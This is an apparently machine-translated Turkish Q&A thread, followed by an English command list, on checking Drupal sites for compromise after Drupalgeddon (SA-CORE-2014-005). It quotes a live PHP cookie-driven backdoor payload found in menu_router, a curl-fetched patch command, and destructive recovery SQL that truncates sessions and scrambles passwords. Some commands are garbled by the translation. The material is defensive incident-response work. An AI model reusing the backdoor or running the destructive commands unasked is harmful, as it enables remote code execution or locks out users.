Drupal SA-CORE-2014-005 - Sunucumun / sitelerimin tehlikeye atılıp atılmadığını nasıl anlarım?

Tüm sitelerimi, Drupal SA-CORE-2014-005 istismarını çözmek için kullanılan yama yöntemini kullanarak güncelledim. Az önce dünkü bir Rus IP'den sızan drupal sitelerden birinin olduğunu bildiren raporları okudum.

https://www.drupal.org/SA-CORE-2014-005

Asıl endişelerim şuan:

• Sitelerimin içerip içermediğini nasıl anlarım?
• Sitemin kurban olup olmadığını tespit etmek için apache erişim günlüklerimde ne aramalıyım?
• Şimdiye kadar bu bilgisayar korsanları oluşan sitelere ne yapıyor?

Yönetici ayrıcalıklarına sahip kullanıcıları kontrol etmek ve 15 Ekim'den sonra siteye erişen kullanıcılara bakmak için site DB'leriniz karşısında çalıştırılabilecek bazı SQL sorguları.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Bu makaleyi okuyorsanız ve istismarın başlamasından bir aydan daha fazla bir Drupal 7 sitesini kontrol etmeyi umuyorsanız, siteniz zaten büyük olasılıkla saldırıya uğramıştır . En iyi şansınız, saldırılar başlamadan önceki yedeği geri yüklemek ve oradan çalışmaktır.

SA-CORE-2014-005'te bir SSS var .

Sitelerimin tehlikeye girip girmediğini nasıl anlarım?

Sitelerin tehlikeye atılıp atılmadığını hızlı bir şekilde kontrol etmenin bir yolu Drupalgeddon drush komutudur.

• https://www.drupal.org/project/drupalgeddon

Sizin için yükleme ~/.drushiledrush dl drupalgeddon

Sonra drush drupalgeddon-testsınamak için kullanın . Drush takma adları bunu kolay ve hızlı hale getirir.

Bu araç, sömürülen bir siteyi onaylayabilir, ancak sitenizin sömürülmemesini garanti edemez . Saldırılara başlamadan önce iyileştirmediğiniz sürece burada "temiz sağlık faturası" yoktur.

Site Denetim modülü, Drupalgeddon'daki kontrollerden bazılarını içerir ve size çok daha kullanışlı bir girdi sunar. Şiddetle tavsiye ederim. (EDIT: Şimdi birlikte çalışıyorlar - süper hoş!)

• http://drupal.org/project/site_audit

Güvenlik İncelemesi, Drupalgeddon saldırılarını kontrol etmez, ancak alet kemerinizde de bulundurmaya değer.

• http://drupal.org/project/security_review

Site kod tabanınız www kullanıcısına yazılabilirse, saldırıya uğramış modülü kullanarak değiştirilmiş kodu da kontrol edebilirsiniz. Bu modül sadece ismine dayanarak düşündüğünüzü yapmayabilir :)

• http://drupal.org/project/hacked

Tüm tehlikeye atılan siteleri tanımlamanın kesin bir yolu yoktur, ancak bu araçlar en yaygın endikasyonları belirlemenize yardımcı olabilir.

Sitemin kurban olup olmadığını tespit etmek için apache erişim günlüklerimde ne aramalıyım?

Erişim günlükleriniz şimdiye kadar birçok POST isteği içerecek. Tüm posta verilerini hatadan önce kaydetme alışılmadık bir adım atmadıysanız, bunlardan hangisinin zararlı olduğunu söyleyebilecek bilgiye sahip olmanız pek mümkün değildir.

Şimdiye kadar bu bilgisayar korsanları tehlikeye atılan sitelere ne yapıyor?

Birçoğu, sitelerinin bilgisayar korsanları tarafından yamalandığını bildiriyor! Bir saldırgan olarak, bu mantıklı geliyor - yeni kaçırılan sitenizin bir sonraki saldırgan tarafından alttan kırılmasını istemezsiniz :)

Bunun dışında , sitelerin değerli verilerinizi toplamak için harcadıklarını tahmin ediyorum (belki bazı referanslar alabilir, istismardan sonra işlem detaylarını kaldırabilir) ve spam göndermek ve mütevazı botnet köleleri gibi çalışmak gibi sıkıcı şeyler yapmak için sıkıcı şeyler yapmak isterim. Ah, ve saldırganın kaçırılan Drupal alanlarına yönelik imparatorluğunu daha da genişlet. (Üzgünüm, gözlemlenecek saldırıya uğramış sitelerim yok.)

Yaygın saldırılara yönelik bazı kontroller: (Bu kapsamlı bir liste değil, şu ana kadar vahşi bölgede görülen saldırıların bazılarıdır):

• Kullanıcı adının, e-posta adresinin veya şifresinin olmasını istediğin şey olduğundan emin olmak için kullanıcı 1 hesabını kontrol et. Ayrıca, mümkünse yüksek düzeyde izinleri olan diğer kullanıcı hesaplarını da kontrol edin.
• Şüpheli görünen yeni kullanıcı hesaplarını kontrol et.
• Yeni rollerde veya yeniden adlandırılmış rollerde, örneğin, sisteminizdeki rollerde değişiklik olup olmadığını kontrol edin.
• İzin değişikliklerini kontrol et. Bunun en önemli yönü, isimsiz kullanıcı rolünün (veya herkesin kendilerini almak için imzalayabileceği diğer rollerin) erişiminin artması için değiştirilmediğinden emin olmaktır.
• Kötü amaçlı kod içerebilecek yeni özel bloklar olup olmadığını kontrol edin.
• Kötü amaçlı kod içerebilecek yeni özel düğümler olup olmadığını kontrol edin.
• Dosya sisteminizde bulunmaması gereken dosyaları kontrol edin. Sürüm kontrolü kullanıyorsanız bu kolaydır çünkü git durumunu veya svn st işlevini kullanarak yeni dosyalar olup olmadığını görebilirsiniz.
• Kötü amaçlı dosyalar yükledilerse, erişim günlüklerinizi, aşina olmadığınız garip dosya adlarına yönelik isabet açısından kontrol edebilirsiniz.

• Kötü amaçlı girişler için menü yönlendiricinizin veritabanı tablosuna bakın. Örneğin (drupal.org'daki drupalgeddon modülü / drush eklentisi, bu tabloyu daha ayrıntılı bir şekilde kontrol etmek için iyi bir senaryoya sahiptir):

  SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

• Garip görünen girişler için menü yönlendirici tablonuza da göz atabilirsiniz.

Bilgisayar korsanlarının yapmaya çalıştığı bazı şeyler:

• Sitenize php script dosyalarını daha sonra bir tarayıcıda vurarak çalıştırabilecekleri şekilde yerleştirin. Bu scriptler çok çeşitli zararlı şeyler yapabilir. Bu, zararlı menü yönlendirici girişleri eklenerek gerçekleştirilir.
• Sitenize kötü şeyler yapmak veya sitenizi ele geçirmek için kullanmak üzere yönetici kullanıcı hesapları oluşturun.
• Kullanıcı 1 e-posta adresini değiştirin, böylelikle o hesap için parola sıfırlamalarını ve kontrolünü devralmalarını sağlar.
• Genel olarak erişilebilen kullanıcı rollerinde izinleri değiştirin.
• Blok / düğüm / etc ekleyin. kötü amaçlı kod içerebilir. PHP filtresini etkinleştirdiyseniz, bu daha da büyük bir problemdir.

Ne yazık ki, bir saldırganın veritabanınıza yapabileceği pek çok şey vardır, bu nedenle olasılıkların tam bir listesini vermek oldukça zordur. Sitenizi kontrol altına almaya çalışan şeyler yapabilirler veya sitenizi kırabilirler ancak veritabanı tablolarını veya sütunlarını vb.

Site adınızı değiştirmek için sadece çok küçük değişiklikler yapabilirlerdi, site adınızı veya buna benzer bir şeyi değiştirmek gibi, ki bu dünyanın sonu değil ama yine de sorunlu.

Temel olarak, bir SQL komutu çalıştırarak veritabanınızda yapabileceğiniz her şeyi, bir saldırgan teorik olarak yapabilirdi.

Chris Burgess'in cevabında belirtilen tüm modüller, bu şeyleri kontrol etmekte çok faydalıdır.

Drupal.org tavsiyesine uyacağımı düşünüyorum. " Her Drupal 7 web sitesinin, duyurulduktan 7 saat sonra 15 Ekim, 23:00 UTC’den önce güncellenmemiş veya yamalı olarak kabul edilmediği varsayımıyla ilerlemelisiniz ." As Bevan bu söz konusu açıklama "Güncelleştirme veya Drupal saldırganlar güncelleme veya Drupal yama önce yüklenmiş olduğu arka kapılar düzeltmek gelmez yama."

Bevan ayrıca, virüslü olup olmadığınızı ve nasıl iyileşeceğinizi ve nasıl önlenebileceğinizi analiz etmenize yardımcı olmak için aşağıdaki iş akışı çizelgesini hazırladı . Ancak, iş akışının en son sürümüne sahip olduğunuzdan emin olmak için herkesten orijinal makalesine gitmesini ister . Ayrıca Acquia , Acquia Cloud'da yaşadıkları saldırı ve kalıplarla ilgili ilginç bir makale yayınladı.

Alıntı: https://www.drupal.org/node/2357241#comment-9258955

Bu, menu_router tablosu access_callback sütununa eklenen dosya örneği:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Gördüğünüz gibi, file / image / vzoh.php dosyalarını oluşturmaya çalışıyor, ancak php ile başarısız olan bu dizinlerin içinde sadece okuma izinlerine sahip olduğum için.

Drupal dizininizde arama yaparak oluşturulan benzer dosyaları bulan kişilerin raporları: https://www.drupal.org/node/2357241#comment-9260017

Yaptığım şey şu komutu yapmaktı:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Alıntı: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Canlı sunucuda değişen dosyaları gösterme: git status

Menu_router üzerinden kod yürütme girişimleri aranıyor: menu_router içinden * seçeneğini seçin, burada access_callback = 'file_put_contents'

Hangi dosyaların canlı sunucuda olduğunu ve sürüm kontrolünde olmadığını göstermek: diff -r docroot repo | grep docroot | grep 'Sadece dokümanda'

PHP dizinindeki dosyalar dizininde bulun: bulun. -path "* php"

Bir kullanıcının sitenize giriş yaptığı zaman ile en son yapılan sayfa ziyareti arasındaki süreyi kontrol etme: s. s.uid = u.uid;

Kompanze edilip edilmediğini söylemek için çok iyi bir komut listesi.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Web sitenizin bu çevrimiçi araçla hack edilip edilmediğini kontrol edebilirsiniz:

Drupal Kontrolü: The EngineHack

Açıkçası sınırlamaları var, ama iyi bir başlangıç ​​noktası.